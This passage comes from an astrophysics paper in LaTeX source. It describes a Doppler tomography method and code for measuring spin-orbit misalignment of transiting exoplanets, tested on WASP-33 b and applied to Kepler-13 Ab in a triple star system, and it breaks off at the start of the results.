\cite{BatyginAdams13} and \cite{Lai14} included magnetic and gravitational interactions between the host star and the disk; both found that this remains a viable misalignment mechanism. \cite{Lai11} had earlier found that magnetic interactions between the star and disk alone could torque the star out of alignment with the disk. \cite{Bate10} argued that time variability in the bulk angular momentum of material being accreted by a protoplanetary system could result in a spin-orbit misalignment between the star and the planet-forming disk. Another mechanism was proposed by \cite{Rogers12}, who modeled angular momentum transport via internal gravity waves within hot stars, and suggested that such angular momentum transport could drastically change the rotational properties of the stellar atmosphere on short time scales. The rotation of the stellar atmosphere, which is what is probed by all spin-orbit misalignment measurement techniques, would not reflect the bulk rotation of the star. An apparent spin-orbit misalignment could thus be generated even when the bulk angular momentum vectors of the star and planet are in fact well aligned. Furthermore, \cite{Rogers13} called into question whether tidal damping could affect inclinations as proposed by \cite{Winn10} and \cite{Batygin12}. \cite{Rogers13} found that in order for tidal damping not to result in significant semi-major axis changes, inclinations must be driven to $0^{\circ}, \pm 90^{\circ}, 180^{\circ}$, which is not observed. \cite{Xue14}, however, showed that the latter two of these states would eventually decay to the zero inclination state. In general, these hypotheses fall into two categories: either the planets have changed their orbital plane after their formation, or the planetary orbit and stellar rotation axes are misaligned for reasons unrelated to planet evolution, and are related to star formation or stellar physics. Measurement of the spin-orbit misalignments of a statistically significant sample of long-period planets (which should not have undergone significant tidal damping) and multi-planet systems (which should not have undergone violent migratory processes) around both hot and cool stars will help to discriminate between these hypotheses.
The vast majority of the measurements of the spin-orbit misalignments of transiting exoplanets have come via radial velocity observations of the Rossiter-McLaughlin effect, where distortions in the stellar line profile during the transit are interpreted as an anomalous radial velocity shift. An alternative method, which we utilize, is Doppler tomography, which has been used to probe spin-orbit misalignments for both planets \citep[e.g.,][]{CC189733,CollierCameron10,Brown12,AlbrechtMultis} and stars \citep[e.g.,][]{Albrecht07}. Here, the spectral line profile distortions are spectroscopically resolved and tracked over the course of the transit. The motion of the line profile perturbation during the transit is a probe of the spin-orbit misalignment $\lambda$. While for the most rapidly rotating planet-host stars $\lambda$ can be measured purely from photometry due to the effects of gravity darkening on the surface brightness profile of the star \citep[e.g.,][]{Barnes09,Barnes11}, this method results in a four-fold degeneracy between $\lambda=\pm x^{\circ}$ and $\lambda=180^{\circ}\pm x^{\circ}$. Doppler tomography can break this degeneracy.
In addition to measurements of $\lambda$, Doppler tomography can be used to validate transiting planet candidates around rapidly rotating stars. These stars are not amenable to follow-up using high precision radial velocity observations due to their significantly rotationally broadened stellar lines. Detection of the Doppler tomographic transit signature allows us to verify that the transiting object is indeed orbiting the expected star, i.e., that the system is not a background eclipsing binary blended with a brighter foreground star. By examining the line shape we can also rule out scenarios where the transiting object is another star, as we will be able to see an additional set of absorption lines superposed upon those of the primary. The limitation, however, is that Doppler tomography cannot measure the mass of the transiting object, and thus we cannot distinguish between a hot Jupiter, a brown dwarf, and a small M dwarf. All of these have similar radii and the latter of these would, in many cases, have an insufficient flux ratio to make a detectable imprint upon the visible light spectrum of the primary.
To date the only transiting planet candidate validated using Doppler tomography is WASP-33\,b \citep{CollierCameron10}. There are, however, a number of planet candidates discovered by the {\it Kepler} mission around rapidly rotating stars which can be validated using Doppler tomography. We have begun a program using the telescopes at McDonald Observatory to validate suitable candidates, with a particular focus on longer-period candidates. These will provide a test of the hypotheses described above, as these planets should not have undergone significant tidal damping and so should retain their primordial orbital alignments.
In this paper we describe our Doppler tomography code and present our observations of the hot Jupiter Kepler-13 Ab. Although Kepler-13 Ab has been validated as a planet using Doppler beaming and ellipsoidal variations \citep[e.g.,][]{Shporer11}, it is one of the most favorable {\it Kepler} targets for Doppler tomography and thus presents a good test of our code.
\section{The Kepler-13 System}
The Kepler-13 (aka KOI-13, BD+46 2629) system has long been known to be a proper motion binary \citep{Aitken04}. \cite{Szabo11} determined that it consists of two A-type stars with similar properties (see Table~\ref{starknowledge}), which are separated by 1.12'' \citep{Adams12}. \cite{Szabo11} also determined that the transiting planet Kepler-13 Ab \citep[detected by ][]{Borucki11} orbits the brighter of the two binary components, Kepler-13 A. Despite the resulting blend, as the separation between Kepler-13 A and B is much smaller than the size of one of \emph{Kepler}'s pixels, the inferred radius for Kepler-13 Ab remains in the planetary range, albeit at the highly inflated end of that range. This is unsurprising, considering the luminous host star and close orbital proximity of the planet to the star, and consequently high planetary temperature.
\cite{Santerne12} detected a third stellar component in the system in an eccentric binary orbit about Kepler-13 B via the reflex motion of star B. They determined that this companion, Kepler-13 C \citep[denoted Kepler-13 BB by][]{Shporer14}, has a mass of $0.4 M_{\odot}<M<1 M_{\odot}$ and an orbital period of 65.8 days. Kepler-13 Ab thus orbits one member of a stellar triple system; alternatively, due to the massive nature of the planet Kepler-13 Ab, the system could be considered to be a hierarchical quadruple.
Kepler-13 A is distinguished as one of the hottest stars to host a confirmed planet ($T_{\mathrm{eff}}=8500 \pm 400$ K).
Stellar parameters for the three stars in the Kepler-13 system are given in Table \ref{starknowledge}, while planetary and transit parameters are summarized in Table \ref{oldknowledge}. As Kepler-13 Ab is a hot Jupiter, it is one of the hottest known planets; \cite{Mazeh12} estimated $T_{\mathrm{eff}}=2600 \pm 150$ K using the secondary eclipse depth in the {\it Kepler} passband.
Kepler-13 Ab was first validated by \cite{Barnes11} through detection of a gravity-darkening signature in the transit lightcurve from \emph{Kepler}. This also enabled them to measure the spin-orbit misalignment, albeit with degeneracies, to be $\lambda=\pm23^{\circ}\pm4^{\circ}$ or $\lambda=\pm157^{\circ}\pm4^{\circ}$. \cite{Shporer11}, \cite{Mazeh12}, \cite{MislisHodgkin12}, \cite{Esteves13}, and \cite{Placek13} detected Doppler beaming and ellipsoidal variations due to the planetary orbit, and used these to measure the mass of Kepler-13 Ab to be ${\sim8-10 M_J}$, putting it firmly below the deuterium burning limit. Many of these different authors, however, found conflicting values for some of the transit and system parameters, especially the impact parameter $b$, ranging from 0.25 to 0.75 (see Table \ref{oldknowledge} for the planetary parameters). While the orbital plane of Kepler-13 Ab has been shown to be precessing, resulting in changes in the transit duration and impact parameter \citep{Szabo12,Szabo14}, the rate of change of the impact parameter found by \cite{Szabo12}, ${db/dt=-0.016 \pm 0.004}$~yr$^{-1}$, is much too small to account for these discrepancies. While \cite{Szabo11} found no evidence for orbital eccentricity, recently \cite{Shporer14} measured a secondary eclipse time offset by $\sim30$ seconds from that expected assuming a circular orbit. This could be caused by either a very small eccentricity ($e\sim5\times10^{-4}$), or a bright spot on the planetary surface offset to the west of the substellar point.
Kepler-13 A is rapidly rotating \citep[$v\sin i=76.6$ km~s$^{-1}$;][]{Santerne12} and bright for a {\it Kepler} target ($Kp=9.96$), making it an excellent target for Doppler tomography. While there is a previous measurement of $\lambda$ via gravity darkening \citep{Barnes11}, as noted above this method cannot distinguish between prograde and retrograde orbits. We can break this degeneracy with Doppler tomography. With this work Kepler-13 Ab becomes the first planet with measurements of $\lambda$ from both photometric and spectroscopic techniques, an important consistency check. Additionally, \cite{Albrecht12} showed that, in addition to the stellar $T_{\mathrm{eff}}$, the planetary scaled semi-major axis $a/R_*$ and mass ratio $M_p/M_*$ are correlated with the degree of alignment. A measurement of the spin-orbit misalignment for Kepler-13 Ab helps to expand the parameter space, as it is a particularly massive planet orbiting close to a massive star.
\begin{deluxetable}{lcc}
\tabletypesize{\scriptsize}
\tablecolumns{3}
\tablewidth{0pt}
\tablecaption{Parameters of Kepler-13 A, B, and C from the Literature \label{starknowledge}}
\tablehead{
\colhead{Parameter} & \colhead{\cite{Santerne12}} & \colhead{\cite{Szabo11}}
}
\startdata
& System Parameters & \\
$d$ (pc) & \ldots & $500$ \\
$age$ (Gyr) & \ldots & $0.708^{+0.183}_{-0.146}$ \\
$A_V$ (mag) & \ldots & $0.34$ \\
\hline
& Kepler-13 A & \\
$V$ (mag) & \ldots & 9.9 \\
$T_{\mathrm{eff}}$ (K) & \ldots & $8511^{+401}_{-383}$ \\
$\log g$ (cgs) & \ldots & $3.9 \pm 0.1$ \\
$[$Fe/H$]$ & \ldots & 0.2 \\
$v\sin i$ (km s$^{-1}$) & $76.6 \pm 0.2$ & $65 \pm 10$ \\
$M_* (M_{\odot})$ & \ldots & 2.05 \\
$R_* (R_{\odot})$ & \ldots & 2.55 \\
\hline
& Kepler-13 B & \\
$V$ (mag) & \ldots & 10.2 \\
$T_{\mathrm{eff}}$ (K) & \ldots & $8222^{+388}_{-370}$ \\
$\log g$ (cgs) & \ldots & $4.0 \pm 0.1$ \\
$[$Fe/H$]$ & \ldots & 0.2 \\
$v\sin i$ (km s$^{-1}$) & $62.7 \pm 0.2$ & $70 \pm 10$ \\
$M_* (M_{\odot})$ & \ldots & 1.95 \\
$R_* (R_{\odot})$ & \ldots & 2.38 \\
\hline
& Kepler-13 C & \\
$P$ (days) & $65.831 \pm 0.029$ & \ldots \\
$e$ & $0.52 \pm 0.02$ & \ldots \\
$K$ (km s$^{-1}$) & $12.42 \pm 0.42$ & \ldots \\
$M_* (M_{\odot})$ & $>0.4, <1$ & \ldots \\
\enddata
\tablecomments{$K$ is the radial velocity semi-amplitude of Kepler-13 B due to its mutual orbit about Kepler-13 C.}
\end{deluxetable}
\section{Methodology}
\label{methodology}
\subsection{Observations}
\label{observationsec}
Observations of Kepler-13 Ab were taken with two telescopes located at McDonald Observatory, the 9.2m Hobby-Eberly Telescope (HET) and the 2.7m Harlan J.\ Smith Telescope (HJST). The HET utilizes a fiber-fed cross-dispersed echelle spectrograph, the High-Resolution Spectrograph \citep[HRS;][]{HRS}. The fibers have a diameter of 2'', and so our observations include blended light from both Kepler-13 A and B \citep[the mutual separation is $1.12$'';][]{Adams12}. This complication is discussed in more detail later in the text. The Robert G. Tull Spectrograph \citep[TS23;][]{Tull95} on the HJST, on the other hand, is a more traditional slit coud\'e spectrograph. There is no facility to correct for image rotation, and so the relative contributions to the spectrum from Kepler-13 A and B vary throughout the course of an observation. While this can, in principle, be corrected for, guiding errors will also cause similar but unpredictable variations. We therefore do not attempt such a correction. Our HRS observations were taken with a resolving power $R=30,000$, while the TS23 observations have $R=60,000$. The spectral range of HRS is $\sim4770$ \AA~to $\sim6840$ \AA, while that of TS23 is $\sim3750$~\AA~to $\sim10200$ \AA; however, none of the orders redward of $\sim8500$~\AA~were used due to telluric contamination and lack of stellar lines. The exposure time was 300 seconds for all HET observations and 900 seconds for all HJST observations. The mean per pixel signal-to-noise ratio of the continuum is 159 for the HET data and 51 for the HJST data; the mean SNRs for the individual datasets are listed in Table~\ref{observations}.
We observed parts of nine transits of Kepler-13 Ab, seven with the HET and two with the HJST; see Table~\ref{observations}. The transit of 2011 November 5 UT was simultaneously observed with both the HET and the HJST. An additional out-of-transit spectral line template observation was obtained with the HET on 2013 June 28 UT, in order to better determine the out-of-transit line profile.
\begin{deluxetable*}{lcccc}
\tablecolumns{5}
\tablewidth{0pt}
\tablecaption{Observations of Kepler-13 A\lowercase{b} \label{observations}}
\tablehead{
\colhead{Date (UT)} & \colhead{Instrument} & \colhead{Transit Phases Observed} & \colhead{Mean SNR} & \colhead{$N_{\mathrm{spec}}$}
}
\startdata
2011 Jun 8 & HET/HRS & $0.65-0.98$ & 150 & 11\\
2011 Jun 15 & HJST/TS23 & $-0.12-1.25$ & 53 & 16 \\
2011 Jul 6 & HET/HRS & $0.03-0.48$ & 198 & 16\\
2011 Jul 8 & HET/HRS & $0.10-0.51$ & 183 & 15\\
2011 Aug 21 & HET/HRS & $0.21-0.66$ & 162 & 16\\
2011 Sep 13 & HET/HRS & $0.29-0.71$ & 172 & 15\\
2011 Nov 5 & HET/HRS & $-0.09-0.32$ & 135 & 15\\
2011 Nov 5 & HJST/TS23 & $-0.08-0.85$ & 48 & 11\\
2012 Jun 7 & HET/HRS & $0.10-0.60$ & 138 & 17\\
2013 Jun 28 & HET/HRS & template & 120 & 12
\enddata
\tablecomments{We define transit phases such that ingress$=0$ and egress$=1$. The quoted signal-to-noise ratio (SNR) is the SNR per pixel near 5500 \AA. $N_{\mathrm{spec}}$ is the number of spectra obtained during a transit observation.}
\end{deluxetable*}
We perform data reduction using the same IRAF pipelines utilized by the McDonald Observatory Radial Velocity Planet Search Program for HET/HRS \citep[e.g.,][]{Cochran04} and HJST/TS23 \citep[e.g.,][]{Wittenmyer06}. The extracted spectra are then divided by the blaze-profile function, and any residual curvature is removed by fitting a second-order polynomial using a $\sigma$-clipping routine and normalizing.
\subsection{Line Profile Extraction}
The first step in the analysis of the time series line profiles is to extract these line profiles from our spectra. Essentially, we wish to compute the average line profile for each spectrum. We note that in computing an average line profile across a spectrum we ignore variations in the limb darkening parameter as a function of wavelength. As we are interested in the variations in the line profile as a function of time, rather than the detailed line shape, this should not have a significant effect upon our results.
The extraction of the average line profiles from the spectra proceeds in several steps. All steps involve fitting a model spectrum to the data. In all cases this model is produced using the least squares deconvolution method of \cite{Donati97}. In this method, a model spectrum is produced by convolving a model line profile with a series of appropriately weighted delta functions at the wavelengths of the spectral lines. We fit this model spectrum to the data using the least squares methods of \cite{Markwardt09}, as implemented in the IDL function \textsc{mpfit} and derivatives.
We first select several orders of the spectrum with many telluric lines and few or no stellar lines. We produce a model telluric spectrum using least squares deconvolution using a telluric line list (obtained from the GEISA database\footnote{http://ether.ipsl.jussieu.fr/etherTypo/?id=950}), and assuming a Gaussian line profile. This model spectrum is fit to the data, leaving only the velocity offset between the extracted spectrum and the telluric rest frame as a free parameter. We assume that the telluric rest frame is identical to the spectrograph rest frame ($\pm$ the wind speed, which is much smaller than the velocity scales of interest to us), and so we shift the spectra into this frame. Telluric lines have been shown to be a stable velocity standard \citep[e.g.,][]{GrayBrown06,Figueira10}. The individual spectra display a RMS scatter in the telluric velocities of $\sim250$ m s$^{-1}$, again much smaller than both the velocity scales of interest and the instrumental resolution, although there is a zero-point offset of $\sim6$ km s$^{-1}$ between the spectrograph's intrinsic wavelength calibration and the telluric velocity frame. Now that we have a velocity frame fixed to the Earth, we correct for the Earth's orbital and rotational motion and shift the spectra into the solar barycentric rest frame.
Next we co-add each set of spectra taken on each night, creating several nightly master spectra. For each nightly master spectrum we create a model stellar spectrum. This is produced by obtaining a line list from Vienna Atomic Line Database \citep[VALD;][]{Kupka00}. The line list includes the wavelength of each line, as well as a line depth calculated by VALD using stellar model atmosphere parameters appropriate to our target. We produce an analytic rotationally broadened line profile using Eqn.~18.14 of \cite{Gray}. This profile includes only the effects of rotation; at this stage in the process, we only require an approximately correct line shape. We then fit the model spectrum to each nightly master spectrum, leaving only the velocity offset between the stellar and solar barycentric frames as a free parameter. Now that we have obtained these nightly velocity offsets, we shift all of the spectra into the stellar barycentric rest frame. We note that this assumes that there is no significant acceleration of the star over the course of one night's observations (typically one to a few hours).
As Kepler-13 is a small separation visual binary where one component is itself a single-lined spectroscopic binary, we undertook a small modification to this step for this system. Due to the motion of Kepler-13 B in velocity space, fitting a single line profile results in a bias in the velocity offsets of the spectra that is correlated with the orbital phase of Kepler-13 B. In order to correct for this, we instead fit a model spectrum produced using two analytic rotationally broadend line profiles, with a time-dependent velocity separation given by the orbital elements of \cite{Santerne12}. We determined the contrast between the two profiles by fitting two model line profiles to final extracted line profiles using the unmodified code.
Now that all of the spectra are fixed to the same velocity frame, we co-add all of the out-of-transit spectra to create a template spectrum. We create a model spectrum using the same methodology as described above. Here, however, we fix the velocity offset between model and data at zero and leave the depth of each line as a free parameter. We thus obtain best-fit line depths from our high signal-to-noise template spectrum.
The final step is to extract the time series line profiles themselves. For each spectrum we again produce a model spectrum. The line depths are fixed at the best-fit values found earlier. Here the free parameters are the depth of the line profile in each pixel. An example of one of these fits is shown in Fig.\ \ref{spectrum}. For each spectrum we compute the average line profile by computing the weighted mean of the line profiles extracted from each order. Each order's line profile is weighted by the product of the signal-to-noise at the center of that order and the total equivalent width of all lines in that order, after \cite{AlbrechtMultis}. Any orders with noisy line profiles (i.e., the scatter in the continuum is greater than an empirically determined value) are excluded from the computation of the weighted mean. The line profiles from the different orders are also regridded to a common velocity scale. We then perform the same process on the template spectrum to obtain an out-of-transit template line profile. We subtract this template line profile from each of the time series line profiles, resulting in the time series line profile residuals, which display the transit signature.
\begin{figure}
\plotone{f1col.eps}
\caption{One order from one HET spectrum of Kepler-13, showing the final model fit (red in the online journal) to the spectrum (black). The residuals have been shifted upward by 0.7 in order to better show the spectrum. \label{spectrum}}
\end{figure}
For Kepler-13, we must again modify this step due to the complicated nature of the system. As will be discussed later, simply subtracting the line profile from our out-of-transit template results in significant systematics because the overall line profile varies as a function of time due to the orbit of Kepler-13 B. In order to correct for this we subtract from each line profile the average line profile from that night of observations. While this subtracts off some of the transit signal, it eliminates almost all of the systematics in the time series line profile residuals.
\subsection{Transit Parameter Extraction}
\label{parextract}
Now that the time series line profile residuals have been computed, we must extract the transit parameters from these data. We compute a model for the time series line profile residuals and fit this to the data. The model is constructed by numerically integrating over the stellar disk, summing the contributions from each surface element to the overall line profile. We divide the stellar disk into approximately 8,000 surface elements.
We utilize Cartesian coordinates for the integration and subsequent computations. We assume a Gaussian line profile with standard deviation 5 km s$^{-1}$ for each surface element; these are then appropriately Doppler shifted, assuming solid body rotation, and scaled by a quadratic limb darkening law. We also neglect macroturbulence; see \S \ref{results} for further discussion of our assumptions on the lack of differential rotation and macroturbulence.
In order to improve computational efficiency, we do not perform the full integration for each exposure. Instead, we first compute the out-of-transit line profile. Then, we compute the location of the planet at the beginning and the end of each exposure (assuming a circular orbit), and for each surface element compute the fraction of the exposure for which that surface element is obscured by the planet. For each surface element, we diminish the out-of-transit line profile by the line profile contribution from that surface element, multiplied by the fraction of the exposure for which that surface element is covered by the planet. Finally, we convolve each line profile with a model instrumental point spread function.
The steps outlined above are applicable for computing a model for an arbitrary transiting planet. However, for Kepler-13 Ab we need to take some extra care because of the presence of the binary companion Kepler-13 B and its orbit about Kepler-13 C; we must include Kepler-13 B's moving line profile in our model. We use the orbital elements for Kepler-13 B's orbit about Kepler-13 C presented by \cite{Santerne12} to calculate the velocity of Kepler-13 B at each exposure. We then compute a rotationally broadened line profile for Kepler-13 B using the model described above, Doppler shift it and scale it relative to the Kepler-13 A profile, and add it to the line profile for Kepler-13 A. Including this profile and the resulting dilution of the spectroscopic transit signature is necessary to accurately model the data.
Ideally, we would simply fit for all relevant parameters ($\lambda$, $b$, $v\sin i$) simultaneously. As our time series line profiles are derived from the average of many lines across a wide region of the spectrum, and the limb darkening and therefore the detailed line shape change as a function of wavelength, our model line profiles do not fit the average line profile to better than a few percent in the wings of the profile. This poses difficulties for extracting $v\sin i$, as well as the transit parameters. We therefore adopted a two-stage fitting process, first extracting $v\sin i$ from a single line and then $\lambda$ and $b$ from the time series line profile residuals.
For each sequential parameter extraction we used a Markov chain Monte Carlo (MCMC) to sample the likelihood function of the model fits to the data. In all cases we used four chains each of 150,000 steps, cutting off the first 20,000 steps of burn-in.
In addition to our free parameters for each fit, we also wished to incorporate prior knowledge from the literature, e.g.\ on the transit duration for Kepler-13 Ab. We thus set Gaussian priors upon these parameters; that is, assuming that the errors are Gaussian, we can define an ``effective'' $\chi^2$ statistic
\begin{equation}
\chi^2_{eff}=\sum_{i}\frac{(O_i-C_i)^2}{\sigma_i^2}+\sum_j\frac{(P_j-P_{j,0})^2}{\varsigma_j^2}
\end{equation}
where $O$ denotes the data, $C$ the model, $\sigma$ the calculated error on each data point, $P_j$ the value of parameter $j$ at the given iteration of the Markov chain, $P_{j,0}$ the value of parameter $j$ from the literature, and $\varsigma_j$ the uncertainty on parameter $j$ from the literature, and we are summing over $i$ data points and $j$ model parameters where we have prior information.
First, we model a single line, the Ba \textsc{ii} line at $\lambda$6141.7~\AA, chosen because it is deep but unsaturated and isolated. We fit the nightly master spectra with models of the line profiles of Kepler-13 A and B, neglecting any contribution from the transiting planet. We leave the $v\sin i$ of each star, the contrast between the two stars, and eight nightly velocity offsets as free parameters. We set Gaussian priors upon two quadratic limb darkening parameters for each star, each with a width 0.1, and upon the five parameters determining the radial velocity variation of Kepler-13 B ($P$, epoch, $e$, $\omega$, $K$). For the limb darkening coefficients we use coefficients in the Sloan {\it r} band (as this is the closest standard photometric band to the Ba \textsc{ii} $\lambda$6141.7~\AA\ line), taken from the tables of \cite{Claret04} for an ATLAS model atmosphere and interpolated to the stellar parameters of Kepler-13 A and B as presented by \cite{Szabo11} using the JKTLD code\footnote{http://www.astro.keele.ac.uk/jkt/codes/jktld.html}. We use the methods of \cite{Kipping13} to obtain even sampling in limb darkening space. For the orbital parameters, we set the initial value and prior width to the best-fit value and 1-$\sigma$ uncertainty, respectively presented by \cite{Santerne12}; see Table \ref{starknowledge}.
Second, we fit the time series line profile residuals with an appropriate model using another MCMC. Here we leave $\lambda$ and $b$ as free parameters, and set priors on the $v\sin i$ of Kepler-13 A and contrast between Kepler-13 A and B (with the prior value and width set to the median values and 1-$\sigma$ uncertainty, respectively, on these parameters from the first MCMC), and the limb darkening coefficients of Kepler-13 A, transit depth $R_p/R_*$, transit duration, planetary orbital period, and planetary orbital epoch, with all values and uncertainties/prior widths taken from \cite{Esteves13}. We fix the $v\sin i$ and orbital parameters of Kepler-13 B at values from our first MCMC and \cite{Santerne12}, respectively, in the interests of computational efficiency and as uncertainties in these parameters should have a minimal effect on the line profile residuals.
We note that in principle it is possible to measure the time of mid-transit and the transit duration directly from the spectroscopic data. Additionally, $R_p/R_*$ and $(R_p/R_*)^2$ may be measured independently (the width of the transit signature depends on $R_p/R_*$, while the area under the transit signature is proportional to $(R_p/R_*)^2$). If a system is affected by dilution, the measured value of $(R_p/R_*)^2$ will be smaller than that inferred from the measurement of $R_p/R_*$ from the transit signature width, which is unaffected by dilution. In practice, however, given finite spectral resolution, limited time resolution, and relatively low signal-to-noise, these values are best determined from {\it Kepler} photometry. We thus incorporate these parameters via priors in our MCMCs.
In our second set of MCMCs, we fit the model directly to the time series line profile residuals. Alternatively, we also use a method of binning the spectra to increase the signal-to-noise ratio. This method rests upon the following observation. Neglecting differential rotation of the star and assuming a circular orbit for the planet, the rate of motion of the planetary transit signature across the line profile ($dv/dt$) will be constant. Given the transit duration, each value of $dv/dt$ corresponds to a single value of the velocity difference between the locations of the transit signature at ingress and egress, $v_{14}$. In geometrical terms, the path of the planetary transit signature in the time series line profile residual plots will be a straight line. For a given value of $v_{14}$, the transit signature will occur at some velocity $v_i$ in the $i^{th}$ spectrum. We shift each of the $i$ line profile residuals by $-v_i$, such that the transit signature will occur at the same velocity for each shifted line profile residual, and then bin together all of the shifted line profile residuals. If we have the correct value of $v_{14}$, the transit signatures in each line profile residual will tend to add constructively, and we will obtain a single high signal-to-noise transit signature. If we have an incorrect value of $v_{14}$, the transit signatures will not add coherently, and the diluted transit signature will be below the noise floor. We define the velocity scale of the shifted line profile residuals such that it is $v_{\mathrm{cen}}$, the velocity of the transit signature at the transit midpoint.
For a grid of possible values of $v_{14}$ ($|v_{14}|\leq 2v\sin i$), we perform this shifting and binning operation, and visualize this as a two-dimensional map of the deviation from the out-of-transit line profile as a function of $v_{\mathrm{cen}}$, $v_{14}$. We model these shifted and binned data by producing model time series line profile residuals in the same manner as above, and then shifting and binning these in the same manner as we have treated the data. We then extract transit parameters from the shifted and binned data using an MCMC similar to the one for the unbinned data described above. While mathematically a complicated, usually double-valued relationship exists between ($\lambda$, $b$) and ($v_{\mathrm{cen}}$, $v_{14}$), qualitatively there exists a simple relationship between ($v_{\mathrm{cen}}$, $v_{14}$) and the path of the transit signature across the stellar disk. For solid-body rotation, and defining a coordinate $x$ on the visible disk of the star perpendicular to the projected stellar rotation axis, each velocity on the line profile maps to a single value of $x$, i.e., $v\propto x$ \citep{Gray}. $v_{\mathrm{cen}}$ and $v_{14}$ together fix the $x$ coordinates of ingress and egress, $x_1$ and $x_4$, respectively. For each pair of $x_1$, $x_4$ there are two possible paths across the stellar disk: one with low $\lambda$, high $b$ and one with high $\lambda$, low $b$, resulting in the double-valued function that maps ($\lambda$, $b$) to ($v_{\mathrm{cen}}$, $v_{14}$).
In general, positive values of $v_{14}$ correspond to $|\lambda|<90^{\circ}$, and $v_{14}<0$ corresponds to $|\lambda|>90^{\circ}$, while $v_{\mathrm{cen}}>0$ corresponds to $\lambda>0^{\circ}$ and $v_{\mathrm{cen}}>0$ corresponds to $\lambda<0^{\circ}$.
\begin{figure}
\plotone{f2col.eps}
\caption{Model time series line profile residuals, illustrating $v_{14}$ and $v_{\mathrm{cen}}$. The transit signature is the bright streak moving from lower center to upper right. The three vertical dashed lines mark, from left to right, $v_1$, $v_{\mathrm{cen}}$, and $v_4$, the velocity of the transit signature at ingress, mid-transit, and egress, respectively; $v_{14}=v_4-v_1$. Time increases from bottom to top. The transit phase is defined such that ingress=0 and egress=1. Vertical dotted lines mark $v=0, \pm v\sin i$, and a horizontal dotted line marks the time of mid-transit. Small crosses mark the times of first, second, third and fourth contacts. The units of the color scale are fractional deviation from the average out-of-transit line profile. Note that, in general ($b\neq0$), $v_{\mathrm{cen}}\neq0$. The model was computed for a planet with $\lambda=45^{\circ}$ and $b=0.3$ orbiting a star with $v\sin i=70$ km s$^{-1}$. A small amount of noise has been added to the model to better approximate an actual observation. \label{diagrammatic}}
\end{figure}
\subsection{Testing the Code: WASP-33 b}
\label{testing}
In order to verify that our code is working correctly, we analyzed one of the Doppler tomographic datasets on WASP-33 b presented by \cite{CollierCameron10}. These observations were taken using the HJST on 2008 November 12 UT. We are able to reproduce their results (Fig.\ \ref{wasp33}), an important test of our code. We measure the quality of the data by the root-mean-squared (RMS) scatter of the continuum; for our WASP-33 data, this amounts to 0.010 of the depth of the line profile. \cite{CollierCameron10} did not provide a quantitative measure of the noise level in their data, but qualitatively our noise floor appears to be somewhat lower than that of the previous work.
\begin{figure}
\plotone{f3col.eps}
\caption{Time series line profile residuals of a transit of WASP-33 b; compare to Fig.\ 4 of \cite{CollierCameron10}. Notation on the plot is the same as for Fig. \ref{diagrammatic}. The transit signature is the bright streak moving from bottom center to upper left, while the pattern of alternating dark and light streaks moving from lower left to upper right are non-radial oscillations of the host star WASP-33 \citep[the star is a $\delta$ Sct variable;][]{Herrero11}. \label{wasp33}}
\end{figure}
We furthermore find a best-fitting model using our MCMC. For WASP-33 there are variations of the line shape of a few percent due to non-radial pulsations of the host star, and so, unlike for Kepler-13 A, we are able to model the line shape to within the uncertainties from the pulsations. We thus conduct only a single MCMC, fitting for $v\sin i$, $\lambda$, and $b$ simultaneously. We use limb darkening coefficients interpolated to the stellar parameters from \cite{CollierCameron10} using JKTLD, but here use the \cite{Claret00} values for the $V$ band. We obtain values of $v\sin i=87.4 \pm 0.2$ km s$^{-1}$, ${\lambda=-111.2^{\circ} \pm 0.3^{\circ}}$, and $b=0.1738 \pm 0.0043$. Note that these uncertainties take into account only statistical errors and do not include systematic errors, which will be discussed later for the case of Kepler-13 Ab.
Working from the McDonald data, \cite{CollierCameron10} obtained $v\sin i=85.64\pm0.13$ km s$^{-1}$, $\lambda=-105.8^{\circ}\pm1.2^{\circ}$, and $b=0.176\pm0.010$. We attribute the differences between our measured parameters and those of \cite{CollierCameron10} to the complication of the stellar non-radial pulsations.
We also shift and bin our WASP-33 data, as described above. The resulting map is shown in Fig.\ \ref{wasp33shift}. There are two strong peaks in the map, one due to the planetary transit and the other due to non-radial pulsations. We attempted to extract transit parameters from these data using our MCMC, but due to the non-radial pulsations we could not obtain a satisfactory fit.
\begin{figure}
\plotone{f4col.eps}
\caption{Time series line profile residuals of a transit of WASP-33 b, shifted and binned according to the scheme described in the text. $v_{\mathrm{cen}}$ is the velocity of the transit signature at the transit midpoint, while $v_{14}$ is the difference between the velocity of the transit signature at egress and ingress. Two bright peaks are apparent; the one at bottom center is the transit signature, while the one at upper left is due to the most prominent of the non-radial oscillations. Other structures in the map are also due to the non-radial oscillations. The solid lines show lines of constant $\lambda$, while the dotted show lines of constant $b$. The $\lambda$ contours mark, from top to bottom, $\lambda=\pm30^{\circ}, \pm45^{\circ}, \pm60^{\circ}, \pm75^{\circ}, \pm90^{\circ}, \pm105^{\circ}, \pm120^{\circ}, \pm135^{\circ}, \pm150^{\circ}$ ($\lambda$ is positive on the right half of the plot, and negative on the left half). The $b$ contours mark, from the centerline of the plot outwards, $b=0.15, 0.30, 0.45, 0.60, 0.75, 0.9$. Note that the transit signature lies between the $\lambda=-105^{\circ},-120^{\circ}$ and the $b=0.15, b=0.30$ contours, as we would expect. We note that the relationship between ($v_{\mathrm{cen}}, v{_14}$) and ($\lambda, b$) is double-valued; only the solution appropriate to WASP-33 b is shown here. \label{wasp33shift}}
\end{figure}
\section{Results}
\label{results}
For Kepler-13, using our first MCMC we measure projected rotational velocities for the two stars of ${v\sin i_A=76.96 \pm 0.61}$ km s$^{-1}$ and $v\sin i_B=63.21 \pm 1.00$ km s$^{-1}$, which agree to within $1\sigma$ with the $v\sin i$ values presented by \cite{Santerne12}.
In Fig.~\ref{koi13_avg} we show the time series line profiles extracted from the HET data, produced by subtracting the out-of-transit template line profile from each of the time series line profiles. Significant systematics are visible, of amplitude $\sim0.1$ of the depth of the line profile. Most of these systematics result from differences between the time series line profiles and the out-of-transit template line profile due to the motion of Kepler-13 B in velocity space. This is illustrated in Fig.~\ref{koi13_nights}, where we have subtracted the average line profile {\it from each night} from each of the time series line profiles. Fig.~\ref{koi13joined} is identical to Fig.~\ref{koi13_nights}, except using all of our HET data. Due to these systematics, for the remainder of the analysis we subtract the nightly average line profile from the time series line profiles, and we do not use the out-of-transit template data. The RMS scatter of the continuum is 0.022 times the line depth. The transit signature is immediately apparent visually. That the planetary orbit is prograde can be determined by inspection, as the transit signature is over the blueshifted hemisphere of the star at ingress and moves across to the redshifted hemisphere by egress. We also shift and bin the HET data (see Fig.\ \ref{koi13binned}, top). Again, the transit signature is clearly detected.
\begin{figure}
\plotone{f5col.eps}
